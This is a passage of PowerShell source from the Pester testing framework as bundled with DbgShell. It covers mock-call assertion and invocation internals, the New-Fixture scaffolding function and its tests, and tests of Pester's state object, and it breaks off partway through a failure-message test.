$filterIsExclusive = $true } Assert-DescribeInProgress -CommandName Assert-MockCalled if (-not $PSBoundParameters.ContainsKey('ModuleName') -and $null -ne $pester.SessionState.Module) { $ModuleName = $pester.SessionState.Module.Name } $contextInfo = Validate-Command $CommandName $ModuleName $CommandName = $contextInfo.Command.Name $mock = $script:mockTable["$ModuleName||$CommandName"] $moduleMessage = '' if ($ModuleName) { $moduleMessage = " in module $ModuleName" } if (-not $mock) { throw "You did not declare a mock of the $commandName Command${moduleMessage}." } if (-not $Scope) { if ($pester.CurrentContext) { $Scope = 'Context' } else { $Scope = 'Describe' } } $matchingCalls = & $SafeCommands['New-Object'] System.Collections.ArrayList $nonMatchingCalls = & $SafeCommands['New-Object'] System.Collections.ArrayList foreach ($historyEntry in $mock.CallHistory) { if (-not (Test-MockCallScope -CallScope $historyEntry.Scope -DesiredScope $Scope)) { continue } $params = @{ ScriptBlock = $filter BoundParameters = $historyEntry.BoundParams ArgumentList = $historyEntry.Args Metadata = $mock.Metadata } if (Test-ParameterFilter @params) { $null = $matchingCalls.Add($historyEntry) } else { $null = $nonMatchingCalls.Add($historyEntry) } } $lineText = $MyInvocation.Line.TrimEnd("`n") $line = $MyInvocation.ScriptLineNumber if($matchingCalls.Count -ne $times -and ($Exactly -or ($times -eq 0))) { $failureMessage = "Expected ${commandName}${moduleMessage} to be called $times times exactly but was called $($matchingCalls.Count) times" throw ( New-ShouldErrorRecord -Message $failureMessage -Line $line -LineText $lineText) } elseif($matchingCalls.Count -lt $times) { $failureMessage = "Expected ${commandName}${moduleMessage} to be called at least $times times but was called $($matchingCalls.Count) times" throw ( New-ShouldErrorRecord -Message $failureMessage -Line $line -LineText $lineText) } elseif ($filterIsExclusive -and $nonMatchingCalls.Count -gt 0) { $failureMessage = "Expected ${commandName}${moduleMessage} to only be called with with parameters matching the specified filter, but $($nonMatchingCalls.Count) non-matching calls were made" throw ( New-ShouldErrorRecord -Message $failureMessage -Line $line -LineText $lineText) } } function Test-MockCallScope { [CmdletBinding()] param ( [string] $CallScope, [string] $DesiredScope ) # It would probably be cleaner to replace all of these scope strings with an enumerated type at some point. $scopes = 'Describe', 'Context', 'It' return ([array]::IndexOf($scopes, $CallScope) -ge [array]::IndexOf($scopes, $DesiredScope)) } function Exit-MockScope { if ($null -eq $mockTable) { return } $currentScope = $pester.Scope $parentScope = $pester.ParentScope $scriptBlock = { param ( [string] $CommandName, [string] $Scope, [string] $Alias ) $ExecutionContext.InvokeProvider.Item.Remove("Function:\$CommandName", $false, $true, $true) if ($ExecutionContext.InvokeProvider.Item.Exists("Function:\PesterIsMocking_$CommandName", $true, $true)) { $ExecutionContext.InvokeProvider.Item.Rename([System.Management.Automation.WildcardPattern]::Escape("Function:\PesterIsMocking_$CommandName"), "$Scope$CommandName", $true) } if ($Alias -and $ExecutionContext.InvokeProvider.Item.Exists("Alias:$Alias", $true, $true)) { $ExecutionContext.InvokeProvider.Item.Remove("Alias:$Alias", $false, $true, $true) } } $mockKeys = [string[]]$mockTable.Keys foreach ($mockKey in $mockKeys) { $mock = $mockTable[$mockKey] $mock.Blocks = @($mock.Blocks | & $SafeCommands['Where-Object'] {$_.Scope -ne $currentScope}) if ($null -eq $parentScope) { $null = Invoke-InMockScope -SessionState $mock.SessionState -ScriptBlock $scriptBlock -ArgumentList $mock.CommandName, $mock.FunctionScope, $mock.Alias $mockTable.Remove($mockKey) } else { foreach ($historyEntry in $mock.CallHistory) { if ($historyEntry.Scope -eq $currentScope) { $historyEntry.Scope = $parentScope } } } } } function Validate-Command([string]$CommandName, [string]$ModuleName) { $module = $null $origCommand = $null $commandInfo = & $SafeCommands['New-Object'] psobject -Property @{ Command = $null; Scope = '' } $scriptBlock = { $getContentCommand = & (Pester\SafeGetCommand) Get-Content -Module Microsoft.PowerShell.Management -CommandType Cmdlet $newObjectCommand = & (Pester\SafeGetCommand) New-Object -Module Microsoft.PowerShell.Utility -CommandType Cmdlet $command = $ExecutionContext.InvokeCommand.GetCommand($args[0], 'All') while ($null -ne $command -and $command.CommandType -eq [System.Management.Automation.CommandTypes]::Alias) { $command = $command.ResolvedCommand } $properties = @{ Command = $command } if ($null -ne $command -and $command.CommandType -eq 'Function') { if ($ExecutionContext.InvokeProvider.Item.Exists("function:\global:$($command.Name)", $true, $true) -and (& $getContentCommand -LiteralPath "function:\global:$($command.Name)" -ErrorAction Stop) -eq $command.ScriptBlock) { $properties['Scope'] = 'global:' } elseif ($ExecutionContext.InvokeProvider.Item.Exists("function:\script:$($command.Name)", $true, $true) -and (& $getContentCommand -LiteralPath "function:\script:$($command.Name)" -ErrorAction Stop) -eq $command.ScriptBlock) { $properties['Scope'] = 'script:' } else { $properties['Scope'] = '' } } return & $newObjectCommand psobject -Property $properties } if ($ModuleName) { $module = Get-ScriptModule -ModuleName $ModuleName -ErrorAction Stop $commandInfo = & $module $scriptBlock $CommandName } $session = $pester.SessionState if (-not $commandInfo.Command) { Set-ScriptBlockScope -ScriptBlock $scriptBlock -SessionState $session $commandInfo = & $scriptBlock $commandName } if (-not $commandInfo.Command) { throw ([System.Management.Automation.CommandNotFoundException] "Could not find Command $commandName") } if ($module) { $session = & $module { $ExecutionContext.SessionState } } $hash = @{Command = $commandInfo.Command; Session = $session} if ($commandInfo.Command.CommandType -eq 'Function') { $hash['Scope'] = $commandInfo.Scope } return $hash } function MockPrototype { if ($PSVersionTable.PSVersion.Major -ge 3) { [string] ${ignore preference} = 'Ignore' } else { [string] ${ignore preference} = 'SilentlyContinue' } ${get Variable Command} = & (Pester\SafeGetCommand) -Name Get-Variable -Module Microsoft.PowerShell.Utility -CommandType Cmdlet [object] ${a r g s} = $null if (${#CANCAPTUREARGS#}) { ${a r g s} = & ${get Variable Command} -Name args -ValueOnly -Scope Local -ErrorAction ${ignore preference} } if ($null -eq ${a r g s}) { ${a r g s} = @() } ${p s cmdlet} = & ${get Variable Command} -Name PSCmdlet -ValueOnly -Scope Local -ErrorAction ${ignore preference} ${session state} = if (${p s cmdlet}) { ${p s cmdlet}.SessionState } # @{mock call state} initialization is injected only into the begin block by the code that uses this prototype. Invoke-Mock -CommandName '#FUNCTIONNAME#' -ModuleName '#MODULENAME#' -BoundParameters $PSBoundParameters -ArgumentList ${a r g s} -CallerSessionState ${session state} -FromBlock '#BLOCK#' -MockCallState ${mock call state} #INPUT# } function Invoke-Mock { <# .SYNOPSIS This command is used by Pester's Mocking framework. You do not need to call it directly. #> [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [string] $CommandName, [Parameter(Mandatory = $true)] [hashtable] $MockCallState, [string] $ModuleName, [hashtable] $BoundParameters = @{}, [object[]] $ArgumentList = @(), [object] $CallerSessionState, [ValidateSet('Begin', 'Process', 'End')] [string] $FromBlock, [object] $InputObject ) $detectedModule = $ModuleName $mock = FindMock -CommandName $CommandName -ModuleName ([ref]$detectedModule) if ($null -eq $mock) { # If this ever happens, it's a bug in Pester. The scriptBlock that calls Invoke-Mock should be removed at the same time as the entry in the mock table. throw "Internal error detected: Mock for '$CommandName' in module '$ModuleName' was called, but does not exist in the mock table." } switch ($FromBlock) { Begin { $MockCallState['InputObjects'] = & $SafeCommands['New-Object'] System.Collections.ArrayList $MockCallState['ShouldExecuteOriginalCommand'] = $false $MockCallState['BeginBoundParameters'] = $BoundParameters.Clone() $MockCallState['BeginArgumentList'] = $ArgumentList return } Process { $block = $null if ($detectedModule -eq $ModuleName) { $block = FindMatchingBlock -Mock $mock -BoundParameters $BoundParameters -ArgumentList $ArgumentList } if ($null -ne $block) { ExecuteBlock -Block $block ` -CommandName $CommandName ` -ModuleName $ModuleName ` -BoundParameters $BoundParameters ` -ArgumentList $ArgumentList ` -Mock $mock return } else { $MockCallState['ShouldExecuteOriginalCommand'] = $true if ($null -ne $InputObject) { $null = $MockCallState['InputObjects'].AddRange(@($InputObject)) } return } } End { if ($MockCallState['ShouldExecuteOriginalCommand']) { if ($MockCallState['InputObjects'].Count -gt 0) { $scriptBlock = { param ($Command, $ArgumentList, $BoundParameters, $InputObjects) $InputObjects | & $Command @ArgumentList @BoundParameters } } else { $scriptBlock = { param ($Command, $ArgumentList, $BoundParameters, $InputObjects) & $Command @ArgumentList @BoundParameters } } $state = if ($CallerSessionState) { $CallerSessionState } else { $mock.SessionState } Set-ScriptBlockScope -ScriptBlock $scriptBlock -SessionState $state & $scriptBlock -Command $mock.OriginalCommand ` -ArgumentList $MockCallState['BeginArgumentList'] ` -BoundParameters $MockCallState['BeginBoundParameters'] ` -InputObjects $MockCallState['InputObjects'] } } } } function FindMock { param ( [string] $CommandName, [ref] $ModuleName ) $mock = $mockTable["$($ModuleName.Value)||$CommandName"] if ($null -eq $mock) { $mock = $mockTable["||$CommandName"] if ($null -ne $mock) { $ModuleName.Value = '' } } return $mock } function FindMatchingBlock { param ( [object] $Mock, [hashtable] $BoundParameters = @{}, [object[]] $ArgumentList = @() ) for ($idx = $mock.Blocks.Length; $idx -gt 0; $idx--) { $block = $mock.Blocks[$idx - 1] $params = @{ ScriptBlock = $block.Filter BoundParameters = $BoundParameters ArgumentList = $ArgumentList Metadata = $mock.Metadata } if (Test-ParameterFilter @params) { return $block } } return $null } function ExecuteBlock { param ( [object] $Block, [object] $Mock, [string] $CommandName, [string] $ModuleName, [hashtable] $BoundParameters = @{}, [object[]] $ArgumentList = @() ) $Block.Verifiable = $false $Mock.CallHistory += @{CommandName = "$ModuleName||$CommandName"; BoundParams = $BoundParameters; Args = $ArgumentList; Scope = $pester.Scope } $scriptBlock = { param ( [Parameter(Mandatory = $true)] [scriptblock] ${Script Block}, [hashtable] $___BoundParameters___ = @{}, [object[]] $___ArgumentList___ = @(), [System.Management.Automation.CommandMetadata] ${Meta data}, [System.Management.Automation.SessionState] ${Session State} ) # This script block exists to hold variables without polluting the test script's current scope. # Dynamic parameters in functions, for some reason, only exist in $PSBoundParameters instead # of being assigned a local variable the way static parameters do. By calling Set-DynamicParameterVariables, # we create these variables for the caller's use in a Parameter Filter or within the mock itself, and # by doing it inside this temporary script block, those variables don't stick around longer than they # should. Set-DynamicParameterVariables -SessionState ${Session State} -Parameters $___BoundParameters___ -Metadata ${Meta data} & ${Script Block} @___BoundParameters___ @___ArgumentList___ } Set-ScriptBlockScope -ScriptBlock $scriptBlock -SessionState $mock.SessionState $splat = @{ 'Script Block' = $block.Mock '___ArgumentList___' = $ArgumentList '___BoundParameters___' = $BoundParameters 'Meta data' = $mock.Metadata 'Session State' = $mock.SessionState } & $scriptBlock @splat } function Invoke-InMockScope { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [System.Management.Automation.SessionState] $SessionState, [Parameter(Mandatory = $true)] [scriptblock] $ScriptBlock, [Parameter(ValueFromRemainingArguments = $true)] [object[]] $ArgumentList = @() ) if ($SessionState.Module) { $SessionState.Module.Invoke($ScriptBlock, $ArgumentList) } else { Set-ScriptBlockScope -ScriptBlock $ScriptBlock -SessionState $SessionState & $ScriptBlock @ArgumentList } } function Test-ParameterFilter { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [scriptblock] $ScriptBlock, [System.Collections.IDictionary] $BoundParameters, [object[]] $ArgumentList, [System.Management.Automation.CommandMetadata] $Metadata ) if ($null -eq $BoundParameters) { $BoundParameters = @{} } if ($null -eq $ArgumentList) { $ArgumentList = @() } $paramBlock = Get-ParamBlockFromBoundParameters -BoundParameters $BoundParameters -Metadata $Metadata $scriptBlockString = " $paramBlock Set-StrictMode -Off $ScriptBlock " $cmd = [scriptblock]::Create($scriptBlockString) Set-ScriptBlockScope -ScriptBlock $cmd -SessionState $pester.SessionState & $cmd @BoundParameters @ArgumentList } function Get-ParamBlockFromBoundParameters { param ( [System.Collections.IDictionary] $BoundParameters, [System.Management.Automation.CommandMetadata] $Metadata ) $params = foreach ($paramName in $BoundParameters.get_Keys()) { if (IsCommonParameter -Name $paramName -Metadata $Metadata) { continue } "`${$paramName}" } $params = $params -join ',' if ($null -ne $Metadata) { $cmdletBinding = [System.Management.Automation.ProxyCommand]::GetCmdletBindingAttribute($Metadata) } else { $cmdletBinding = '' } return "$cmdletBinding param ($params)" } function IsCommonParameter { param ( [string] $Name, [System.Management.Automation.CommandMetadata] $Metadata ) if ($null -ne $Metadata) { if ([System.Management.Automation.Internal.CommonParameters].GetProperty($Name)) { return $true } if ($Metadata.SupportsShouldProcess -and [System.Management.Automation.Internal.ShouldProcessParameters].GetProperty($Name)) { return $true } if ($PSVersionTable.PSVersion.Major -ge 3 -and $Metadata.SupportsPaging -and [System.Management.Automation.PagingParameters].GetProperty($Name)) { return $true } if ($Metadata.SupportsTransactions -and [System.Management.Automation.Internal.TransactionParameters].GetProperty($Name)) { return $true } } return $false } function Get-ScopeForMock { param ($PesterState) $scope = $PesterState.Scope if ($scope -eq 'It') { $scope = $PesterState.ParentScope } return $scope } function Set-DynamicParameterVariables { <# .SYNOPSIS This command is used by Pester's Mocking framework. You do not need to call it directly. #> param ( [Parameter(Mandatory = $true)] [System.Management.Automation.SessionState] $SessionState, [hashtable] $Parameters, [System.Management.Automation.CommandMetadata] $Metadata ) if ($null -eq $Parameters) { $Parameters = @{} } foreach ($keyValuePair in $Parameters.GetEnumerator()) { $variableName = $keyValuePair.Key if (-not (IsCommonParameter -Name $variableName -Metadata $Metadata)) { if ($ExecutionContext.SessionState -eq $SessionState) { & $SafeCommands['Set-Variable'] -Scope 1 -Name $variableName -Value $keyValuePair.Value -Force -Confirm:$false -WhatIf:$false } else { $SessionState.PSVariable.Set($variableName, $keyValuePair.Value) } } } } function Get-DynamicParamBlock { param ( [scriptblock] $ScriptBlock ) if ($PSVersionTable.PSVersion.Major -le 2) { $flags = [System.Reflection.BindingFlags]'Instance, NonPublic' $dynamicParams = [scriptblock].GetField('_dynamicParams', $flags).GetValue($ScriptBlock) if ($null -ne $dynamicParams) { return $dynamicParams.ToString() } } else { if ($null -ne $ScriptBlock.Ast.Body.DynamicParamBlock) { $statements = $ScriptBlock.Ast.Body.DynamicParamBlock.Statements | & $SafeCommands['Select-Object'] -ExpandProperty Extent | & $SafeCommands['Select-Object'] -ExpandProperty Text return $statements -join "`r`n" } } } function Get-MockDynamicParameters { <# .SYNOPSIS This command is used by Pester's Mocking framework. You do not need to call it directly. #> [CmdletBinding()] param ( [Parameter(Mandatory = $true, ParameterSetName = 'Cmdlet')] [string] $CmdletName, [Parameter(Mandatory = $true, ParameterSetName = 'Function')] [string] $FunctionName, [Parameter(ParameterSetName = 'Function')] [string] $ModuleName, [System.Collections.IDictionary] $Parameters, [object] $Cmdlet ) switch ($PSCmdlet.ParameterSetName) { 'Cmdlet' { Get-DynamicParametersForCmdlet -CmdletName $CmdletName -Parameters $Parameters } 'Function' { Get-DynamicParametersForMockedFunction -FunctionName $FunctionName -ModuleName $ModuleName -Parameters $Parameters -Cmdlet $Cmdlet } } } function Get-DynamicParametersForCmdlet { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [string] $CmdletName, [ValidateScript({ if ($PSVersionTable.PSVersion.Major -ge 3 -and $null -ne $_ -and $_.GetType().FullName -ne 'System.Management.Automation.PSBoundParametersDictionary') { throw 'The -Parameters argument must be a PSBoundParametersDictionary object ($PSBoundParameters).' } return $true })] [System.Collections.IDictionary] $Parameters ) try { $command = & $SafeCommands['Get-Command'] -Name $CmdletName -CommandType Cmdlet -ErrorAction Stop if (@($command).Count -gt 1) { throw "Name '$CmdletName' resolved to multiple Cmdlets" } } catch { $PSCmdlet.ThrowTerminatingError($_) } if ($null -eq $command.ImplementingType.GetInterface('IDynamicParameters', $true)) { return } if ($PSVersionTable.PSVersion -ge '5.0.10586.122') { # Older version of PS required Reflection to do this. It has run into problems on occasion with certain cmdlets, # such as ActiveDirectory and AzureRM, so we'll take advantage of the newer PSv5 engine features if at all possible. if ($null -eq $Parameters) { $paramsArg = @() } else { $paramsArg = @($Parameters) } $command = $ExecutionContext.InvokeCommand.GetCommand($CmdletName, [System.Management.Automation.CommandTypes]::Cmdlet, $paramsArg) $paramDictionary = [System.Management.Automation.RuntimeDefinedParameterDictionary]::new() foreach ($param in $command.Parameters.Values) { if (-not $param.IsDynamic) { continue } if ($Parameters.ContainsKey($param.Name)) { continue } $dynParam = [System.Management.Automation.RuntimeDefinedParameter]::new($param.Name, $param.ParameterType, $param.Attributes) $paramDictionary.Add($param.Name, $dynParam) } return $paramDictionary } else { if ($null -eq $Parameters) { $Parameters = @{} } $cmdlet = & $SafeCommands['New-Object'] $command.ImplementingType.FullName $flags = [System.Reflection.BindingFlags]'Instance, Nonpublic' $context = $ExecutionContext.GetType().GetField('_context', $flags).GetValue($ExecutionContext) [System.Management.Automation.Cmdlet].GetProperty('Context', $flags).SetValue($cmdlet, $context, $null) foreach ($keyValuePair in $Parameters.GetEnumerator()) { $property = $cmdlet.GetType().GetProperty($keyValuePair.Key) if ($null -eq $property -or -not $property.CanWrite) { continue } $isParameter = [bool]($property.GetCustomAttributes([System.Management.Automation.ParameterAttribute], $true)) if (-not $isParameter) { continue } $property.SetValue($cmdlet, $keyValuePair.Value, $null) } try { # This unary comma is important in some cases. On Windows 7 systems, the ActiveDirectory module cmdlets # return objects from this method which implement IEnumerable for some reason, and even cause PowerShell # to throw an exception when it tries to cast the object to that interface. # We avoid that problem by wrapping the result of GetDynamicParameters() in a one-element array with the # unary comma. PowerShell enumerates that array instead of trying to enumerate the goofy object, and # everyone's happy. # Love the comma. Don't delete it. We don't have a test for this yet, unless we can get the AD module # on a Server 2008 R2 build server, or until we write some C# code to reproduce its goofy behavior. ,$cmdlet.GetDynamicParameters() } catch [System.NotImplementedException] { # Some cmdlets implement IDynamicParameters but then throw a NotImplementedException. I have no idea why. Ignore them. } } } function Get-DynamicParametersForMockedFunction { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [string] $FunctionName, [string] $ModuleName, [System.Collections.IDictionary] $Parameters, [object] $Cmdlet ) $mock = $mockTable["$ModuleName||$FunctionName"] if (-not $mock) { throw "Internal error detected: Mock for '$FunctionName' in module '$ModuleName' was called, but does not exist in the mock table." } if ($mock.DynamicParamScriptBlock) { $splat = @{ 'P S Cmdlet' = $Cmdlet } return & $mock.DynamicParamScriptBlock @Parameters @splat } } function Test-IsClosure { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [scriptblock] $ScriptBlock ) $sessionStateInternal = Get-ScriptBlockScope -ScriptBlock $ScriptBlock $flags = [System.Reflection.BindingFlags]'Instance,NonPublic' $module = $sessionStateInternal.GetType().GetProperty('Module', $flags).GetValue($sessionStateInternal, $null) return ( $null -ne $module -and $module.Name -match '^__DynamicModule_([a-f\d-]+)$' -and $null -ne ($matches[1] -as [guid]) ) } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/New-Fixture.Tests.ps1 ================================================ Set-StrictMode -Version Latest Describe "New-Fixture" { It "Name parameter is mandatory:" { (get-command New-Fixture ).Parameters.Name.ParameterSets.__AllParameterSets.IsMandatory | Should Be $true } Context "Only Name parameter is specified:" { It "Creates fixture in current directory:" { $name = "Test-Fixture" $path = "TestDrive:\" pushd $path New-Fixture -Name $name | Out-Null popd Join-Path -Path $path -ChildPath "$name.ps1" | Should Exist Join-Path -Path $path -ChildPath "$name.Tests.ps1" | Should Exist } } Context "Name and Path parameter is specified:" { #use different fixture names to avoid interference among the test cases #cleaning up would be also possible, but difficult if the assertion fails It "Creates fixture in full Path:" { $name = "Test-Fixture" $path = "TestDrive:\full" New-Fixture -Name $name -Path $path | Out-Null Join-Path -Path $path -ChildPath "$name.ps1" | Should Exist Join-Path -Path $path -ChildPath "$name.Tests.ps1" | Should Exist #cleanup Join-Path -Path "$path" -ChildPath "$name.ps1" | Remove-Item -Force Join-Path -Path "$path" -ChildPath "$name.Tests.ps1" | Remove-Item -Force } It "Creates fixture in relative Path:" { $name = "Relative1-Fixture" $path = "TestDrive:\" pushd $path New-Fixture -Name $name -Path relative | Out-Null popd Join-Path -Path "$path\relative" -ChildPath "$name.ps1" | Should Exist Join-Path -Path "$path\relative" -ChildPath "$name.Tests.ps1" | Should Exist } It "Creates fixture if Path is set to '.':" { $name = "Relative2-Fixture" $path = "TestDrive:\" pushd $path New-Fixture -Name $name -Path . | Out-Null popd Join-Path -Path "$path" -ChildPath "$name.ps1" | Should Exist Join-Path -Path "$path" -ChildPath "$name.Tests.ps1" | Should Exist } It "Creates fixture if Path is set to '(pwd)':" { $name = "Relative3-Fixture" $path = "TestDrive:\" pushd $path New-Fixture -Name $name -Path (pwd) | Out-Null popd Join-Path -Path "$path" -ChildPath "$name.ps1" | Should Exist Join-Path -Path "$path" -ChildPath "$name.Tests.ps1" | Should Exist } It "Writes warning if file exists" { $name = "Warning-Fixture" $path = "TestDrive:\" Mock -Verifiable -ModuleName Pester Write-Warning { } #Create the same files twice New-Fixture -Name $name -Path $path | Out-Null New-Fixture -Name $name -Path $path -WarningVariable warnings -WarningAction SilentlyContinue | Out-Null Assert-VerifiableMocks } } #TODO add tests that validate the contents of default files } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/New-Fixture.ps1 ================================================ function New-Fixture { <# .SYNOPSIS This function generates two scripts, one that defines a function and another one that contains its tests. .DESCRIPTION This function generates two scripts, one that defines a function and another one that contains its tests. The files are by default placed in the current directory and are called and populated as such: The script defining the function: .\Clean.ps1: function Clean { } The script containing the example test .\Clean.Tests.ps1: $here = Split-Path -Parent $MyInvocation.MyCommand.Path $sut = (Split-Path -Leaf $MyInvocation.MyCommand.Path).Replace(".Tests.", ".") . "$here\$sut" Describe "Clean" { It "does something useful" { $false | Should Be $true } } .PARAMETER Name Defines the name of the function and the name of the test to be created. .PARAMETER Path Defines path where the test and the function should be created, you can use full or relative path. If the parameter is not specified the scripts are created in the current directory. .EXAMPLE New-Fixture -Name Clean Creates the scripts in the current directory. .EXAMPLE New-Fixture C:\Projects\Cleaner Clean Creates the scripts in the C:\Projects\Cleaner directory. .EXAMPLE New-Fixture Cleaner Clean Creates a new folder named Cleaner in the current directory and creates the scripts in it. .LINK Describe Context It about_Pester about_Should #> param ( [String]$Path = $PWD, [Parameter(Mandatory=$true)] [String]$Name ) #region File contents #keep this formatted as is. the format is output to the file as is, including indentation $scriptCode = "function $name {`r`n`r`n}" $testCode = '$here = Split-Path -Parent $MyInvocation.MyCommand.Path $sut = (Split-Path -Leaf $MyInvocation.MyCommand.Path) -replace ''\.Tests\.'', ''.'' . "$here\$sut" Describe "#name#" { It "does something useful" { $true | Should Be $false } }' -replace "#name#",$name #endregion $Path = $ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath($Path) Create-File -Path $Path -Name "$Name.ps1" -Content $scriptCode Create-File -Path $Path -Name "$Name.Tests.ps1" -Content $testCode } function Create-File ($Path,$Name,$Content) { if (-not (& $SafeCommands['Test-Path'] -Path $Path)) { & $SafeCommands['New-Item'] -ItemType Directory -Path $Path | & $SafeCommands['Out-Null'] } $FullPath = & $SafeCommands['Join-Path'] -Path $Path -ChildPath $Name if (-not (& $SafeCommands['Test-Path'] -Path $FullPath)) { & $SafeCommands['Set-Content'] -Path $FullPath -Value $Content -Encoding UTF8 & $SafeCommands['Get-Item'] -Path $FullPath } else { # This is deliberately not sent through $SafeCommands, because our own tests rely on # mocking Write-Warning, and it's not really the end of the world if this call happens to # be screwed up in an edge case. Write-Warning "Skipping the file '$FullPath', because it already exists." } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/PesterState.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "New-PesterState" { Context "TestNameFilter parameter is set" { $p = new-pesterstate -TestNameFilter "filter" it "sets the TestNameFilter property" { $p.TestNameFilter | should be "filter" } } Context "TagFilter parameter is set" { $p = new-pesterstate -TagFilter "tag","tag2" it "sets the TestNameFilter property" { $p.TagFilter | should be ("tag","tag2") } } Context "ExcludeTagFilter parameter is set" { $p = new-pesterstate -ExcludeTagFilter "tag3", "tag" it "sets the ExcludeTagFilter property" { $p.ExcludeTagFilter | should be ("tag3", "tag") } } Context "TagFilter and ExcludeTagFilter parameter are set" { $p = new-pesterstate -TagFilter "tag","tag2" -ExcludeTagFilter "tag3" it "sets the TestNameFilter property" { $p.TagFilter | should be ("tag","tag2") } it "sets the ExcludeTagFilter property" { $p.ExcludeTagFilter | should be ("tag3") } } Context "TestNameFilter and TagFilter parameter is set" { $p = new-pesterstate -TagFilter "tag","tag2" -testnamefilter "filter" it "sets the TestNameFilter property" { $p.TagFilter | should be ("tag","tag2") } it "sets the TestNameFilter property" { $p.TagFilter | should be ("tag","tag2") } } } Describe "Pester state object" { $p = New-PesterState Context "entering describe" { It "enters describe" { $p.EnterDescribe("describe") $p.CurrentDescribe | should be "Describe" } It "can enter describe only once" { { $p.EnterDescribe("describe") } | Should Throw } It "Reports scope correctly" { $p.Scope | should be "describe" } } Context "leaving describe" { It "leaves describe" { $p.LeaveDescribe() $p.CurrentDescribe | should benullOrEmpty } It "Reports scope correctly" { $p.Scope | should benullOrEmpty } } context "Entering It from Describe" { $p.EnterDescribe('Describe') It "Enters It successfully" { { $p.EnterTest("It") } | Should Not Throw } It "Reports scope correctly" { $p.Scope | Should Be 'It' } It "Cannot enter It after already entered" { { $p.EnterTest("It") } | Should Throw } It "Cannot enter Context from inside It" { { $p.EnterContext("Context") } | Should Throw } } context "Leaving It from Describe" { It "Leaves It to Describe" { { $p.LeaveTest() } | Should Not Throw } It "Reports scope correctly" { $p.Scope | Should Be 'Describe' } $p.LeaveDescribe() } Context "entering Context" { it "Cannot enter Context before Describe" { { $p.EnterContext("context") } | should throw } it "enters context from describe" { $p.EnterDescribe("Describe") $p.EnterContext("Context") $p.CurrentContext | should be "Context" } It "can enter context only once" { { $p.EnterContext("Context") } | Should Throw } It "Reports scope correctly" { $p.Scope | should be "Context" } } Context "leaving context" { it "cannot leave describe before leaving context" { { $p.LeaveDescribe() } | should throw } it "leaves context" { $p.LeaveContext() $p.CurrentContext | should BeNullOrEmpty } It "Returns from context to describe" { $p.Scope | should be "Describe" } $p.LeaveDescribe() } context "Entering It from Context" { $p.EnterDescribe('Describe') $p.EnterContext('Context') It "Enters It successfully" { { $p.EnterTest("It") } | Should Not Throw } It "Reports scope correctly" { $p.Scope | Should Be 'It' } It "Cannot enter It after already entered" { { $p.EnterTest("It") } | Should Throw } } context "Leaving It from Context" { It "Leaves It to Context" { { $p.LeaveTest() } | Should Not Throw } It "Reports scope correctly" { $p.Scope | Should Be 'Context' } $p.LeaveContext() $p.LeaveDescribe() } context "adding test result" { $p.EnterDescribe('Describe') it "adds passed test" { $p.AddTestResult("result","Passed", 100) $result = $p.TestResult[-1] $result.Name | should be "result" $result.passed | should be $true $result.Result | Should be "Passed" $result.time.ticks | should be 100 } it "adds failed test" { try { throw 'message' } catch { $e = $_ } $p.AddTestResult("result","Failed", 100, "fail", "stack","suite name",@{param='eters'},$e) $result = $p.TestResult[-1] $result.Name | should be "result" $result.passed | should be $false $result.Result | Should be "Failed" $result.time.ticks | should be 100 $result.FailureMessage | should be "fail" $result.StackTrace | should be "stack" $result.ParameterizedSuiteName | should be "suite name" $result.Parameters['param'] | should be 'eters' $result.ErrorRecord.Exception.Message | should be 'message' } it "adds skipped test" { $p.AddTestResult("result","Skipped", 100) $result = $p.TestResult[-1] $result.Name | should be "result" $result.passed | should be $true $result.Result | Should be "Skipped" $result.time.ticks | should be 100 } it "adds Pending test" { $p.AddTestResult("result","Pending", 100) $result = $p.TestResult[-1] $result.Name | should be "result" $result.passed | should be $true $result.Result | Should be "Pending" $result.time.ticks | should be 100 } it "can add test result before entering describe" { if ($p.CurrentContext) { $p.LeaveContext()} if ($p.CurrentDescribe) { $p.LeaveDescribe() } { $p.addTestResult(1,"Passed",1) } | should not throw } $p.LeaveContext() $p.LeaveDescribe() } Context "Path and TestNameFilter parameter is set" { $strict = New-PesterState -Strict It "Keeps Passed state" { $strict.AddTestResult("test","Passed") $result = $strict.TestResult[-1] $result.passed | should be $true $result.Result | Should be "Passed" } It "Keeps Failed state" { $strict.AddTestResult("test","Failed") $result = $strict.TestResult[-1] $result.passed | should be $false $result.Result | Should be "Failed" } It "Changes Pending state to Failed" { $strict.AddTestResult("test","Pending") $result = $strict.TestResult[-1] $result.passed | should be $false $result.Result | Should be "Failed" } It "Changes Skipped state to Failed" { $strict.AddTestResult("test","Skipped") $result = $strict.TestResult[-1] $result.passed | should be $false $result.Result | Should be "Failed" } } } Describe ConvertTo-FailureLines { $testPath = Join-Path $TestDrive test.ps1 $escapedTestPath = [regex]::Escape($testPath) It 'produces correct message lines.' { try { throw 'message' } catch { $e = $_ } $r = $e | ConvertTo-FailureLines $r.Message[0] | Should be 'RuntimeException: message' $r.Message.Count | Should be 1 } It 'failed should produces correct message lines.' { try { 'One' | Should be 'Two' } catch { $e = $_ } $r = $e | ConvertTo-FailureLines $r.Message[0] | Should be 'String lengths are both 3. Strings differ at index 0.' $r.Message[1] | Should be 'Expected: {Two}' $r.Message[2] | Should be 'But was: {One}' $r.Message[3] | Should be '-----------^' $r.Message[4] | Should match "'One' | Should be 'Two'" $r.Message.Count | Should be 5 } Context 'should fails in file' { Set-Content -Path $testPath -Value @' $script:IgnoreErrorPreference = 'SilentlyContinue' 'One' | Should be 'Two' '@ try { & $testPath } catch { $e = $_ } $r = $e | ConvertTo-FailureLines It 'produces correct message lines.' { $r.Message[0] | Should be 'String lengths are both 3. Strings differ at index 0.' $r.Message[1] | Should be 'Expected: {Two}' $r.Message[2] | Should be 'But was: {One}' $r.Message[3] | Should be '-----------^' $r.Message[4] | Should be "2: 'One' | Should be 'Two'" $r.Message.Count | Should be 5 } if ( $e | Get-Member -Name ScriptStackTrace ) { It 'produces correct trace lines.' { $r.Trace[0] | Should be "at , $testPath`: line 2" 